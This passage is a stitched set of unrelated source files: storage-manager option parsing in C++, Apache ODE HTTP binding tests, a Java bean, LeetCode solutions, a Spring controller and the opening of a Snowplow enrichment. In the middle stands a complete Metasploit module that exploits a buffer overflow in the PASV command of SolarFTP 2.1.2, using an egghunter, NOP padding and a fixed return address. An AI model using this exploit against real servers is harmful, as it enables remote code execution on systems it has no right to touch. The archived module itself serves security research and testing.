// Options common to all commands
Command* cmd = (it->second)();
cmd->setupCommonOptions();
cmd->setupOptions();
cerr << it->first << endl << cmd->options << endl << endl;
}
}
Command* Command::parse(int argc, char ** argv)
{
if (argc >= 2) {
string cmdStr = argv[1];
std::transform(cmdStr.begin(), cmdStr.end(), cmdStr.begin(), ::tolower);
if (constructorMap.find(cmdStr) != constructorMap.end()) {
Command* cmd = constructorMap[cmdStr]();
cmd->setupCommonOptions();
cmd->setCommandString(cmdStr);
cmd->setupOptions();
po::variables_map vm;
po::store(po::parse_command_line(argc,argv,cmd->getOptions()), vm);
if (vm.count("config") > 0) {
string pathToFile = vm["config"].as<string>();
std::ifstream file;
file.open(pathToFile.c_str());
po::store(po::parse_config_file(file,cmd->getOptions(), true), vm);
}
if (vm.count("help") > 0) {
cmd->helpOption();
return NULL;
}
po::notify(vm);
cmd->setOptionValues(vm);
return cmd;
}
}
showCommands();
return NULL;
}
void Command::setupSMOptions(po::options_description& options)
{
boost::program_options::options_description smoptions("Storage Manager Options");
smoptions.add_options()
("db-config-design", po::value<string>()->default_value("normal"),
"")
("physical-hacks-enable", po::value<int>()->default_value(0),
"Enables physical hacks, such as padding of records")
("db-worker-sli", po::value<bool>()->default_value(0),
"Speculative Lock inheritance")
("db-loaders", po::value<int>()->default_value(10),
"Specifies the number of threads that are used to load the db")
("db-worker-queueloops", po::value<int>()->default_value(10),
"?")
("db-cl-batchsz", po::value<int>()->default_value(10),
"Specify the batchsize of a client executing transactions")
("db-cl-thinktime", po::value<int>()->default_value(0),
"Specify a 'thinktime' for a client")
("records-to-access", po::value<uint>()->default_value(0),
"Used in the benchmarks for the secondary indexes")
("activation_delay", po::value<uint>()->default_value(0),
"")
("db-workers", po::value<uint>()->default_value(1),
"Specify the number of workers executing transactions")
("dir-trace", po::value<string>()->default_value("RAT"),
"")
/** System related options **/
("sys-maxcpucount", po::value<uint>()->default_value(0),
"Maximum CPU Count of a system")
("sys-activecpucount", po::value<uint>()->default_value(0),
"Active CPU Count of a system")
/**SM Options**/
("sm_logdir", po::value<string>()->default_value("log"),
"Path to log directory")
("sm_dbfile", po::value<string>()->default_value("db"),
"Path to the file on which to store database pages")
("sm_format", po::value<bool>()->default_value(false),
"Format SM by emptying logdir and truncating DB file")
("sm_truncate_log", po::value<bool>()->default_value(false)
->implicit_value(true),
"Whether to truncate log partitions at SM shutdown")
("sm_truncate_archive", po::value<bool>()->default_value(false)
->implicit_value(true),
"Whether to truncate log archive runs at SM shutdown")
("sm_log_partition_size", po::value<int>()->default_value(1024),
"Size of a log partition in MB")
("sm_log_max_partitions", po::value<int>()->default_value(0),
"Maximum number of partitions maintained in log directory")
("sm_log_delete_old_partitions", po::value<bool>()->default_value(true),
"Whether to delete old log partitions as cleaner and chkpt make progress")
("sm_group_commit_size", po::value<int>(),
"Size in bytes of group commit window (higher -> larger log writes)")
("sm_group_commit_timeout", po::value<int>(),
"Max time to wait (in ms) to fill up group commit window")
("sm_log_benchmark_start", po::value<bool>()->default_value(false),
"Whether to generate benchmark_start log record on SM constructor")
("sm_page_img_compression", po::value<int>()->default_value(0),
"Enables page-image compression for every N log bytes (N=0 turns off)")
("sm_bufpoolsize", po::value<int>()->default_value(1024),
"Size of buffer pool in MB")
("sm_fakeiodelay-enable", po::value<int>()->default_value(0),
"Enables a artificial delay whenever there is a I/O operation")
("sm_fakeiodelay", po::value<uint>()->default_value(0),
"Specify the imposed delay in usec")
("sm_errlog", po::value<string>()->default_value("shoremt.err.log"),
"Path to the error log of the storage manager")
("sm_chkpt_interval", po::value<int>(),
"Interval for checkpoint flushes")
("sm_chkpt_log_based", po::value<bool>(),
"Take checkpoints decoupled from buffer and transaction manager, using log scans")
("sm_chkpt_use_log_archive", po::value<bool>(),
"Checkpoints use archived LSN to compute min_rec_lsn")
("sm_chkpt_print_propstats", po::value<bool>(),
"Print min recl lsn and dirty page coutn for every chkpt taken")
("sm_chkpt_only_root_pages", po::value<bool>(),
"Checkpoints only record dirty root pages and SPR takes care of rest")
("sm_log_fetch_buf_partitions", po::value<uint>()->default_value(0),
"Number of partitions to buffer in memory for recovery")
("sm_log_page_flushers", po::value<uint>()->default_value(1),
"Number of log page flushers")
("sm_preventive_chkpt", po::value<uint>()->default_value(1),
"Disable/enable preventive checkpoints (0 to disable, 1 to enable)")
("sm_logbuf_seg_count", po::value<int>(),
"Log Buffer Segment Count")
("sm_logbuf_flush_trigger", po::value<int>(),
"?")
("sm_logbuf_block_size", po::value<int>(),
"Log Buffer Block isze")
("sm_logbuf_part_size", po::value<int>(),
"Log Buffer part size")
("sm_carray_slots", po::value<int>(),
"")
("sm_vol_cluster_stores", po::value<bool>(),
"Cluster pages of the same store into extents")
("sm_vol_log_reads", po::value<bool>(),
"Generate log records for every page read")
("sm_vol_log_writes", po::value<bool>(),
"Generate log records for every page write")
("sm_vol_readonly", po::value<bool>(),
"Volume will be opened in read-only mode and all writes from buffer pool \
will be ignored (uses write elision and single-page recovery)")
("sm_log_o_direct", po::value<bool>(),
"Whether to open log file with O_DIRECT")
("sm_arch_o_direct", po::value<bool>(),
"Whether to open log archive files with O_DIRECT")
("sm_vol_o_direct", po::value<bool>(),
"Whether to open volume (i.e., db file) with O_DIRECT")
("sm_no_db", po::value<bool>()->implicit_value(true)->default_value(false),
"No-database mode, a.k.a. log-structured mode, a.k.a. extreme write elision: \
DB file is written and all fetched pages are rebuilt \
using single-page recovery from scratch")
("sm_batch_segment_size", po::value<int>(),
"Size of segments to use during batch restore warmup")
("sm_restart_instant", po::value<bool>(),
"Enable instant restart")
("sm_restart_log_based_redo", po::value<bool>(),
"Perform non-instant restart with log-based redo instead of page-based")
("sm_restart_prioritize_archive", po::value<bool>(),
"When performing single-page recovery, fetch as much as possible from \
log archive and minimize random reads in the recovery log")
("sm_rawlock_gc_interval_ms", po::value<int>(),
"Garbage Collection Interval in ms")
("sm_rawlock_lockpool_segsize", po::value<int>(),
"Segment size Lockpool")
("sm_rawlock_xctpool_segsize", po::value<int>(),
"Segment size Transaction Pool")
("sm_rawlock_gc_generation_count", po::value<int>(),
"Garbage collection generation count")
("sm_rawlock_gc_init_generation_count", po::value<int>(),
"Garbage collection initial generation count")
("sm_rawlock_lockpool_initseg", po::value<int>(),
"Lock pool init segment")
("sm_rawlock_xctpool_segsize", po::value<int>(),
"Transaction Pool Segment Size")
("sm_rawlock_gc_free_segment_count", po::value<int>(),
"Garbage Collection Free Segment Count")
("sm_rawlock_gc_max_segment_count", po::value<int>(),
"Garbage Collection Maximum Segment Count")
("sm_locktablesize", po::value<int>(),
"Lock table size")
("sm_rawlock_xctpool_initseg", po::value<int>(),
"Transaction Pool Initialization Segment")
("sm_bf_warmup_hit_ratio", po::value<int>(),
"Hit ratio to be achieved until system is considered warmed up (int from 0 to 100)")
("sm_bf_warmup_min_fixes", po::value<int>(),
"Only consider warmup hit ratio once this minimum number of fixes has been performed")
("sm_cleaner_decoupled", po::value<bool>(),
"Enable/Disable decoupled cleaner")
("sm_cleaner_interval", po::value<int>(),
"Cleaner sleep interval in ms")
("sm_cleaner_workspace_size", po::value<int>(),
"Size of cleaner write buffer")
("sm_cleaner_num_candidates", po::value<int>(),
"Number of candidate frames considered by each cleaner round")
("sm_cleaner_policy", po::value<string>(),
"Policy used by cleaner to select candidates")
("sm_cleaner_min_write_size", po::value<int>(),
"Page cleaner only writes clusters of pages with this minimum size")
("sm_cleaner_min_write_ignore_freq", po::value<int>(),
"Ignore min_write_size every N rounds of cleaning")
("sm_cleaner_async_candidate_collection", po::value<bool>(),
"Collect candidate frames to be cleaned in an asynchronous thread")
("sm_evict_policy", po::value<string>(),
"Policy to use in eviction (a.k.a. page replacement)")
("sm_evict_dirty_pages", po::value<bool>(),
"Do not skip dirty pages when performing eviction and write them out if necessary")
("sm_evict_random", po::value<bool>(),
"Pick eviction victim at random, instead of going round-robin over frames")
("sm_evict_use_clock", po::value<bool>(),
"Maintain clock bits on buffer frames and only evict if clock bit is zero")
("sm_async_eviction", po::value<bool>(),
"Perform eviction in a dedicated thread, while fixing threads wait")
("sm_eviction_interval", po::value<int>(),
"Interval for async eviction thread (in msec)")
("sm_wakeup_cleaner_attempts", po::value<int>(),
"How many failed eviction attempts until cleaner is woken up (0 = never)")
("sm_clean_only_attempts", po::value<int>(),
"How many failed eviction attempts until dity frames are picked as victims (0 = never)")
("sm_log_page_evictions", po::value<bool>(),
"Generate evict_page log records for every page evicted from the buffer pool")
("sm_log_page_fetches", po::value<bool>(),
"Generate fetch_page log records for every page fetched (and recovered) into the buffer pool")
("sm_archiver_workspace_size", po::value<int>(),
"Workspace size archiver")
// CS TODO: archiver currently only works with 1MB blocks
// ("sm_archiver_block_size", po::value<int>()->default_value(1024*1024),
// "Archiver Block size")
("sm_archiver_bucket_size", po::value<int>(),
"Archiver bucket size")
("sm_archiver_merging", po::value<bool>(),
"Whether to turn on asynchronous merging with log archiver")
("sm_archiver_fanin", po::value<int>(),
"Log archiver merge fan-in")
("sm_archiver_replication_factor", po::value<int>(),
"Replication factor maintained by the log archive \
run recycler (0 = never delete a run)")
("sm_archiving_blocksize", po::value<int>(),
"Archiving block size")
("sm_reformat_log", po::value<bool>(),
"Enable/Disable reformat log")
("sm_logging", po::value<bool>()->default_value(true),
"Enable/Disable logging")
("sm_decoupled_cleaner", po::value<bool>(),
"Use log-based propagation to clean pages")
("sm_shutdown_clean", po::value<bool>(),
"Force buffer before shutting down SM")
("sm_archiving", po::value<bool>(),
"Enable/Disable archiving")
("sm_async_merging", po::value<bool>(),
"Enable/Disable Asynchronous merging")
("sm_statistics", po::value<bool>(),
"Enable/Disable display of statistics")
("sm_ticker_enable", po::value<bool>(),
"Enable/Disable ticker (currently always enabled)")
("sm_ticker_msec", po::value<int>(),
"Ticker interval in millisec")
("sm_ticker_print_tput", po::value<bool>(),
"Print transaction throughput on every tick to a file tput.txt")
("sm_prefetch", po::value<bool>(),
"Enable/Disable prefetching")
("sm_backup_prefetcher_segments", po::value<int>(),
"Segment size restore")
("sm_restore_segsize", po::value<int>(),
"Segment size restore")
("sm_restore_prefetcher_window", po::value<int>(),
"Segment size restore")
("sm_restore_instant", po::value<bool>(),
"Enable/Disable instant restore")
("sm_restore_reuse_buffer", po::value<bool>(),
"Enable/Disable reusage of buffer")
("sm_restore_multiple_segments", po::value<int>(),
"Number of segments to attempt restore at once")
("sm_restore_min_read_size", po::value<int>(),
"Attempt to read at least this many bytes when scanning log archive")
("sm_restore_max_read_size", po::value<int>(),
"Attempt to read at most this many bytes when scanning log archive")
("sm_restore_preemptive", po::value<bool>(),
"Use preemptive scheduling during restore")
("sm_restore_sched_singlepass", po::value<bool>(),
"Use single-pass scheduling in restore")
("sm_restore_threads", po::value<int>(),
"Number of restore threads to use")
("sm_restore_sched_ondemand", po::value<bool>(),
"Support on-demand restore")
("sm_restore_sched_random", po::value<bool>(),
"Use random page order in restore scheduler")
("sm_bufferpool_swizzle", po::value<bool>(),
"Enable/Disable bufferpool swizzle")
("sm_write_elision", po::value<bool>(),
"Enable/Disable write elision in buffer pool")
("sm_archiver_eager", po::value<bool>(),
"Enable/Disable eager archiving")
("sm_archiver_read_whole_blocks", po::value<bool>(),
"Enable/Disable reading whole blocks in the archiver")
("sm_archiver_slow_log_grace_period", po::value<int>(),
"Enable/Disable slow log grace period")
("sm_errlog_level", po::value<string>(),
"Specify a errorlog level. Options:")
//TODO Stefan Find levels and insert them
("sm_log_impl", po::value<string>(),
"Choose log implementation. Options")
//TODO Stefan Find Implementations
("sm_backup_dir", po::value<string>(),
"Path to a backup directory")
("sm_bufferpool_replacement_policy", po::value<string>(),
"Replacement Policy")
("sm_archdir", po::value<string>()->default_value("archive"),
"Path to archive directory");
options.add(smoptions);
}
void Command::helpOption()
{
cerr << "Usage: zapps Command:" << commandString << " [options] "
<< endl << options << endl;
}
size_t LogScannerCommand::BLOCK_SIZE = 1024 * 1024;
BaseScanner* LogScannerCommand::getScanner(
bitset<logrec_t::t_max_logrec>* filter)
{
BaseScanner* s;
if (isArchive) {
if (merge) s = new MergeScanner(optionValues);
else s = new LogArchiveScanner(optionValues);
}
else {
s = new BlockScanner(optionValues, filter);
}
if (!filename.empty()) {
if (!isArchive) { s->setRestrictFile(logdir + "/" + filename); }
else { s->setRestrictFile(filename); }
}
return s;
}
void LogScannerCommand::setupOptions()
{
setupSMOptions(options);
po::options_description logscanner("Log Scanner Options");
logscanner.add_options()
("logdir,l", po::value<string>(&logdir)->required(),
"Directory containing log to be scanned")
("file,f", po::value<string>(&filename)->default_value(""),
"Scan only a specific file inside the given directory")
("archive,a", po::value<bool>(&isArchive)->default_value(false)
->implicit_value(true),
"Scan log archive files isntead of normal recovery log")
("merge,m", po::value<bool>(&merge)->default_value(false)
->implicit_value(true),
"Merge archiver input so that global sort order is produced")
("limit,n", po::value<size_t>(&limit)->default_value(0),
"Number of log records to scan")
("level", po::value<int>(&level)->default_value(-1),
"Level of log archive to scan (-1 for all)")
("pid", po::value<PageID>(&scan_pid)->default_value(0),
"PageID on which to begin scan (archive only)")
;
options.add(logscanner);
}
void Command::setSMOptions(sm_options& sm_opt, const po::variables_map& values)
{
BOOST_FOREACH(const po::variables_map::value_type& pair, values)
{
const std::string& key = pair.first;
try {
sm_opt.set_int_option(key, values[key].as<int>());
}
catch(boost::bad_any_cast const& e) {
try {
cerr << "Set option " << key << " to " << values[key].as<bool>() << endl;
sm_opt.set_bool_option(key, values[key].as<bool>());
}
catch(boost::bad_any_cast const& e) {
try {
sm_opt.set_string_option(key, values[key].as<string>());
}
catch(boost::bad_any_cast const& e) {
try {
sm_opt.set_int_option(key, values[key].as<uint>());
}
catch(boost::bad_any_cast const& e) {
cerr << "Could not process option " << key
<< " .. skippking." << endl;
continue;
}
}
}
}
};
}
|
hahwul/mad-metasplo | archive/exploits/windows/remote/17692.rb | <filename>archive/exploits/windows/remote/17692.rb
# Exploit Title: Solarftp v2.1.2 PASV buffer overflow
# Date: Aug 17, 2011
# Author: qnix
# Software Link: http://solarftp.com/files/solarftps-setup.exe
# Version: 2.1.2
# Tested on: Windows XP Universal
# Detailed info: http://0x80.org/blog/?p=545
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Solarftp 2.1.2 PASV Command Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the PASV command in Solarftp 2.1.2
You must have valid credentials to trigger this vulnerability. Also, you
ony get one chance.
},
'Author' => 'qnix',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://0x80.org/blog/?p=545'],
],
'DefaultOptions' =>
{
'WfsDelay' => 45,
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#1001BD23 . FFE0 JMP EAX @sfsweb.dll
[ 'Windows XP Universal', { 'Ret' => 0x1001BD23, 'Offset' => 195} ],
],
'DisclosureDate' => 'Aug 17 2011',
'DefaultTarget' => 0))
end
def exploit
connect_login
print_status("Trying target #{target.name}")
print_status("Creating Egg Hunter")
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
fix = "\x11" # To fix some left overs from uncontrolled buffer
# to avoid access violation.
pk1 = make_nops(75)
pk1 << fix
pk1 << make_nops(20)
pk1 << hunter
pk1 << make_nops((100-fix.length-hunter.length))
pk1 << [target.ret].pack('V')
pk1 << egg
pk1 << make_nops(6631-[target.ret].length-target['Offset']-egg.length)
print_status("Sending first packet...")
send_cmd( ["PASV",pk1], false)
pk2 = make_nops(3000)
print_status("Sending second packet...")
send_cmd( ["PASV",pk2], false)
handler
disconnect
end
end |
test-coverage-enforce-bot/wso2-ode | axis2/src/test/java/org/apache/ode/axis2/httpbinding/HttpMethodConverterTest.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.ode.axis2.httpbinding;
import junit.framework.TestCase;
import org.apache.commons.httpclient.HttpMethod;
import org.apache.commons.httpclient.params.DefaultHttpParams;
import org.apache.commons.httpclient.methods.ByteArrayRequestEntity;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.StringRequestEntity;
import org.apache.ode.bpel.epr.MutableEndpoint;
import org.apache.ode.bpel.iapi.*;
import org.apache.ode.utils.DOMUtils;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import javax.wsdl.Binding;
import javax.wsdl.Definition;
import javax.wsdl.Operation;
import javax.wsdl.Port;
import javax.wsdl.PortType;
import javax.wsdl.Service;
import javax.wsdl.extensions.http.HTTPAddress;
import javax.wsdl.factory.WSDLFactory;
import javax.wsdl.xml.WSDLReader;
import javax.xml.namespace.QName;
import java.net.URL;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.Collections;
/**
* @author <a href="mailto:<EMAIL>"><NAME></a>
*/
public class HttpMethodConverterTest extends TestCase {
protected Definition definition;
protected HttpMethodConverter deliciousBuilder;
protected Binding deliciousBinding;
protected Port deliciousPort;
protected HttpMethodConverter dummyBuilder;
protected Port dummyPort;
protected Binding dummyBinding;
protected void setUp() throws Exception {
super.setUp();
URL wsdlURL = getClass().getResource("/http-method-builder.wsdl");
WSDLReader wsdlReader = WSDLFactory.newInstance().newWSDLReader();
wsdlReader.setFeature("javax.wsdl.verbose", false);
definition = wsdlReader.readWSDL(wsdlURL.toURI().toString());
Service deliciousService = definition.getService(new QName("http://ode/bpel/unit-test.wsdl", "DeliciousService"));
deliciousPort = deliciousService.getPort("TagHttpPort");
deliciousBinding = deliciousPort.getBinding();
deliciousBuilder = new HttpMethodConverter(definition, deliciousService.getQName(), deliciousPort.getName());
Service dummyService = definition.getService(new QName("http://ode/bpel/unit-test.wsdl", "DummyService"));
dummyPort = dummyService.getPort("DummyServiceHttpport");
dummyBinding = dummyPort.getBinding();
dummyBuilder = new HttpMethodConverter(definition, dummyService.getQName(), dummyPort.getName());
}
public void testGetTag() throws Exception {
String uri = ((HTTPAddress) deliciousPort.getExtensibilityElements().get(0)).getLocationURI();
String expectedUri = uri + "/tag/java";
Element msgEl;
{
Document odeMsg = DOMUtils.newDocument();
msgEl = odeMsg.createElementNS(null, "message");
Element partEl = odeMsg.createElementNS(null, "TagPart");
partEl.setTextContent("java");
odeMsg.appendChild(msgEl);
msgEl.appendChild(partEl);
}
MockMessageExchange odeMex = new MockMessageExchange();
odeMex.op = deliciousBinding.getBindingOperation("getTag", null, null).getOperation();
odeMex.req = new MockMessage(msgEl);
odeMex.epr = new MockEPR(uri);
HttpMethod httpMethod = deliciousBuilder.createHttpRequest(odeMex, new DefaultHttpParams());
assertTrue("GET".equalsIgnoreCase(httpMethod.getName()));
assertTrue(expectedUri.equalsIgnoreCase(httpMethod.getURI().toString()));
}
public void testGetTagWithNoPart() throws Exception {
String uri = ((HTTPAddress) deliciousPort.getExtensibilityElements().get(0)).getLocationURI();
Element msgEl;
{
Document odeMsg = DOMUtils.newDocument();
msgEl = odeMsg.createElementNS(null, "message");
odeMsg.appendChild(msgEl);
}
MockMessageExchange odeMex = new MockMessageExchange();
odeMex.op = deliciousBinding.getBindingOperation("getTag", null, null).getOperation();
odeMex.req = new MockMessage(msgEl);
odeMex.epr = new MockEPR(uri);
try {
HttpMethod httpMethod = deliciousBuilder.createHttpRequest(odeMex, new DefaultHttpParams());
fail("IllegalArgumentException expected because message element is empty.");
} catch (IllegalArgumentException e) {
// expected behavior
}
}
public void testHello() throws Exception {
String uri = ((HTTPAddress) dummyPort.getExtensibilityElements().get(0)).getLocationURI();
String expectedUri = uri + "/" + "DummyService/hello";
Element msgEl, helloEl;
{
Document odeMsg = DOMUtils.newDocument();
msgEl = odeMsg.createElementNS(null, "message");
Element partEl = odeMsg.createElementNS(null, "parameters");
odeMsg.appendChild(msgEl);
msgEl.appendChild(partEl);
helloEl = odeMsg.createElementNS(null, "hello");
helloEl.setTextContent("This is a test. How is it going so far?");
partEl.appendChild(helloEl);
}
MockMessageExchange odeMex = new MockMessageExchange();
odeMex.op = dummyBinding.getBindingOperation("hello", null, null).getOperation();
odeMex.req = new MockMessage(msgEl);
odeMex.epr = new MockEPR(uri);
HttpMethod httpMethod = dummyBuilder.createHttpRequest(odeMex, new DefaultHttpParams());
assertTrue("POST".equalsIgnoreCase(httpMethod.getName()));
assertEquals("Generated URI does not match", expectedUri, httpMethod.getURI().toString());
String b = ((StringRequestEntity) ((PostMethod) httpMethod).getRequestEntity()).getContent();
assertEquals("Invalid body in generated http query", DOMUtils.domToString(helloEl), b);
}
class MockEPR implements EndpointReference, MutableEndpoint {
String url;
MockEPR(String url) {
this.url = url;
}
public String getUrl() {
return url;
}
// other useless methods
public Document toXML() {
return null;
}
public boolean accept(Node node) {
return false;
}
public void fromMap(Map eprMap) {
}
public void set(Node node) {
}
public Map toMap() {
return null;
}
}
class MockMessage implements Message {
Element elt;
MockMessage(Element elt) {
this.elt = elt;
}
public Element getMessage() {
return elt;
}
/**
* Get the header as an element.
*/
public Element getHeader() {
return null;
}
// other useless methods
public Element getHeaderPart(String partName) {
return null;
}
public Map<String, Node> getHeaderParts() {
return Collections.EMPTY_MAP;
}
public Element getPart(String partName) {
return null;
}
public List<String> getParts() {
return null;
}
public QName getType() {
return null;
}
public void setHeaderPart(String name, Element content) {
}
public void setHeaderPart(String name, String content) {
}
public void setMessage(Element msg) {
}
public void setPart(String partName, Element content) {
}
}
class MockMessageExchange implements PartnerRoleMessageExchange {
Operation op;
Message req;
EndpointReference epr;
public Operation getOperation() {
return op;
}
public Message getRequest() {
return req;
}
public EndpointReference getEndpointReference() throws BpelEngineException {
return epr;
}
// other useless methods
public QName getCaller() {
return null;
}
public PartnerRoleChannel getChannel() {
return null;
}
public EndpointReference getMyRoleEndpointReference() {
return null;
}
public void reply(Message response) throws BpelEngineException {
}
public void replyAsync() {
}
public void replyOneWayOk() {
}
public void replyWithFailure(FailureType type, String description, Element details) throws BpelEngineException {
}
public void replyWithFault(QName faultType, Message outputFaultMessage) throws BpelEngineException {
}
public Message createMessage(QName msgType) {
return null;
}
public QName getFault() {
return null;
}
public String getFaultExplanation() {
return null;
}
public Message getFaultResponse() {
return null;
}
public String getMessageExchangeId() throws BpelEngineException {
return null;
}
public MessageExchangePattern getMessageExchangePattern() {
return null;
}
public String getOperationName() throws BpelEngineException {
return null;
}
public PortType getPortType() {
return null;
}
public String getProperty(String key) {
return null;
}
public Set<String> getPropertyNames() {
return null;
}
public Message getResponse() {
return null;
}
public Status getStatus() {
return null;
}
public boolean isTransactionPropagated() throws BpelEngineException {
return false;
}
public void release() {
}
public void setProperty(String key, String value) {
}
public int getSubscriberCount() {
return 0;
}
public void setSubscriberCount(int subscriberCount) {
}
}
}
|
cacristo/ceos-project | jexan/src/test/java/net/ceos/project/poi/annotated/bean/stock/market/StockMarket.java | <filename>jexan/src/test/java/net/ceos/project/poi/annotated/bean/stock/market/StockMarket.java<gh_stars>0
/**
* Copyright 2016 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package net.ceos.project.poi.annotated.bean.stock.market;
import java.math.BigDecimal;
import java.time.LocalDate;
/**
* The stock market
*
* @version 1.0
* @author <NAME>
*/
public class StockMarket {
private LocalDate date;
private BigDecimal openValue;
private BigDecimal maxValue;
private BigDecimal minValue;
private BigDecimal closeValue;
private BigDecimal closeValueAdjust;
private BigDecimal avegare;
public StockMarket() {
/* empty constructor */
}
/**
* @return the date
*/
public final LocalDate getDate() {
return date;
}
/**
* @param date
* the date to set
*/
public final void setDate(LocalDate date) {
this.date = date;
}
/**
* @return the openValue
*/
public final BigDecimal getOpenValue() {
return openValue;
}
/**
* @param openValue
* the openValue to set
*/
public final void setOpenValue(BigDecimal openValue) {
this.openValue = openValue;
}
/**
* @return the maxValue
*/
public final BigDecimal getMaxValue() {
return maxValue;
}
/**
* @param maxValue
* the maxValue to set
*/
public final void setMaxValue(BigDecimal maxValue) {
this.maxValue = maxValue;
}
/**
* @return the minValue
*/
public final BigDecimal getMinValue() {
return minValue;
}
/**
* @param minValue
* the minValue to set
*/
public final void setMinValue(BigDecimal minValue) {
this.minValue = minValue;
}
/**
* @return the closeValue
*/
public final BigDecimal getCloseValue() {
return closeValue;
}
/**
* @param closeValue
* the closeValue to set
*/
public final void setCloseValue(BigDecimal closeValue) {
this.closeValue = closeValue;
}
/**
* @return the closeValueAdjust
*/
public final BigDecimal getCloseValueAdjust() {
return closeValueAdjust;
}
/**
* @param closeValueAdjust
* the closeValueAdjust to set
*/
public final void setCloseValueAdjust(BigDecimal closeValueAdjust) {
this.closeValueAdjust = closeValueAdjust;
}
/**
* @return the avegare
*/
public final BigDecimal getAvegare() {
return avegare;
}
/**
* @param avegare
* the avegare to set
*/
public final void setAvegare(BigDecimal avegare) {
this.avegare = avegare;
}
}
|
nettee/leetcode | solutions/0437.path-sum-iii/0437.path-sum-iii.1570968392.cpp | /**
* Definition for a binary tree node.
* struct TreeNode {
* int val;
* TreeNode *left;
* TreeNode *right;
* TreeNode(int x) : val(x), left(NULL), right(NULL) {}
* };
*/
class Solution {
public:
int pathSum(TreeNode* root, int sum) {
return rootPathSum(root, sum)
+ nonRootPathSum(root, sum);
}
int rootPathSum(TreeNode* root, int sum) {
if (root == nullptr) {
return 0;
}
int target = sum - root->val;
return (target == 0 ? 1 : 0)
+ rootPathSum(root->left, target)
+ rootPathSum(root->right, target);
}
int nonRootPathSum(TreeNode* root, int sum) {
if (root == nullptr) {
return 0;
}
return pathSum(root->left, sum)
+ pathSum(root->right, sum);
}
};
|
TangXiaofui/LeetCode-in-Go | Algorithms/0885.spiral-matrix-iii/spiral-matrix-iii_test.go | <gh_stars>1000+
package problem0885
import (
"fmt"
"testing"
"github.com/stretchr/testify/assert"
)
// tcs is testcase slice
var tcs = []struct {
R int
C int
r0 int
c0 int
ans [][]int
}{
{
1,
4,
0,
0,
[][]int{{0, 0}, {0, 1}, {0, 2}, {0, 3}},
},
{
5,
6,
1,
4,
[][]int{{1, 4}, {1, 5}, {2, 5}, {2, 4}, {2, 3}, {1, 3}, {0, 3}, {0, 4}, {0, 5}, {3, 5}, {3, 4}, {3, 3}, {3, 2}, {2, 2}, {1, 2}, {0, 2}, {4, 5}, {4, 4}, {4, 3}, {4, 2}, {4, 1}, {3, 1}, {2, 1}, {1, 1}, {0, 1}, {4, 0}, {3, 0}, {2, 0}, {1, 0}, {0, 0}},
},
// 可以有多个 testcase
}
func Test_spiralMatrixIII(t *testing.T) {
ast := assert.New(t)
for _, tc := range tcs {
fmt.Printf("~~%v~~\n", tc)
ast.Equal(tc.ans, spiralMatrixIII(tc.R, tc.C, tc.r0, tc.c0), "输入:%v", tc)
}
}
func Benchmark_spiralMatrixIII(b *testing.B) {
for i := 0; i < b.N; i++ {
for _, tc := range tcs {
spiralMatrixIII(tc.R, tc.C, tc.r0, tc.c0)
}
}
}
|
aelchao/ego | ego-portal/src/main/java/com/ego/portal/controller/PageController.java | package com.ego.portal.controller;
import com.ego.portal.service.TbContentService;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.annotation.Resource;
@Controller
public class PageController {
@Resource
private TbContentService tbContentService;
//显示主页
@RequestMapping("/")
public String welcome(Model model) {
model.addAttribute("ad1", tbContentService.showBigPic());
return "/WEB-INF/jsp/index.jsp";
}
}
|
omenocal/snowplow | 3-enrich/scala-common-enrich/src/main/scala/com.snowplowanalytics.snowplow.enrich/common/enrichments/registry/CookieExtractorEnrichment.scala | <reponame>omenocal/snowplow<filename>3-enrich/scala-common-enrich/src/main/scala/com.snowplowanalytics.snowplow.enrich/common/enrichments/registry/CookieExtractorEnrichment.scala
/*
* Copyright (c) 2012-2018 Snowplow Analytics Ltd. All rights reserved.
*
* This program is licensed to you under the Apache License Version 2.0,
* and you may not use this file except in compliance with the Apache License Version 2.0.
* You may obtain a copy of the Apache License Version 2.0 at http://www.apache.org/licenses/LICENSE-2.0.
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the Apache License Version 2.0 is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the Apache License Version 2.0 for the specific language governing permissions and limitations there under.
*/
package com.snowplowanalytics
package snowplow
package enrich
package common
package enrichments
package registry
// Maven Artifact
import org.apache.maven.artifact.versioning.DefaultArtifactVersion
// Scalaz
import scalaz._
import Scalaz._
// json4s
import org.json4s._
import org.json4s.JsonDSL._
// Iglu
import iglu.client.{SchemaCriterion, SchemaKey}
// HttpClient
import org.apache.http.message.BasicHeaderValueParser
// This project
import utils.ScalazJson4sUtils
object CookieExtractorEnrichmentConfig extends ParseableEnrichment {
